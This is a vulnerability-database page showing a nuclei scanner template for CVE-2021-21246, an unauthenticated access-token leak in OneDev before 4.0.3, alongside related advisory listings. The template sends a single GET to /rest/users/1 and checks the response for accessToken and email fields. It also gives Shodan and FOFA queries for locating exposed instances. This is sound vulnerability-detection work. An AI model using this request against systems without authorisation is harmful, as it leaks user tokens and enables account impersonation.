Lucene search
K

OneDev < 4.0.3 - User Access Token Leak

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 13 Views

OneDev before 4.0.3 leaks user details and access tokens via /users/{id}, enabling impersonation.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-21246
16 Jan 202100:51
circl
CNNVD
Theonedev Onedev 信息泄露漏洞
15 Jan 202100:00
cnnvd
CNVD
Theonedev Onedev Information Disclosure Vulnerability
25 Jan 202100:00
cnvd
CVE
CVE-2021-21246
15 Jan 202120:10
cve
Cvelist
CVE-2021-21246 Pre-Auth Access token leak
15 Jan 202120:10
cvelist
EUVD
EUVD-2021-8629
3 Oct 202520:07
euvd
NVD
CVE-2021-21246
15 Jan 202121:15
nvd
Prion
Design/Logic Flaw
15 Jan 202121:15
prion
Positive Technologies
PT-2021-14356
15 Jan 202100:00
ptsecurity
RedhatCVE
CVE-2021-21246
22 May 202521:30
redhatcve
Rows per page
id: CVE-2021-21246

info:
  name: OneDev < 4.0.3 - User Access Token Leak
  author: DhiyaneshDk
  severity: high
  description: |
    OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
  impact: |
    Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
  remediation: |
    Update to version 4.0.3 or later where user info is removed from the REST API.
  reference:
    - https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx
    - https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21246
    - https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-21246
    cwe-id: CWE-862
    epss-score: 0.49051
    epss-percentile: 0.9874
  metadata:
    verified: true
    max-request: 1
    vendor: onedev_project
    product: onedev
    shodan-query: title:"OneDev"
    fofa-query: title="OneDev"
  tags: cve,cve2021,onedev,auth-bypass,token-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/users/1"

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken"'
          - '"email"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6a8e88d5578e06b77f21015a1c355b75b9b1d6f1f0a1920d0b5ab8a1013d4c902200dd9758fd2dfbd54993116394001c286dffeaf837f73c710c5ec94e8340eb670:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5 - 8.6
EPSS0.49051
13